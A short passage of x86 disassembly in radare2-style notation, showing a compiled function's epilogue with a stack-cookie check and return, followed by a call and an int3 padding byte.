dec eax
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00410549
add esp, 0x7e4
ret
call fcn.0041212c
int3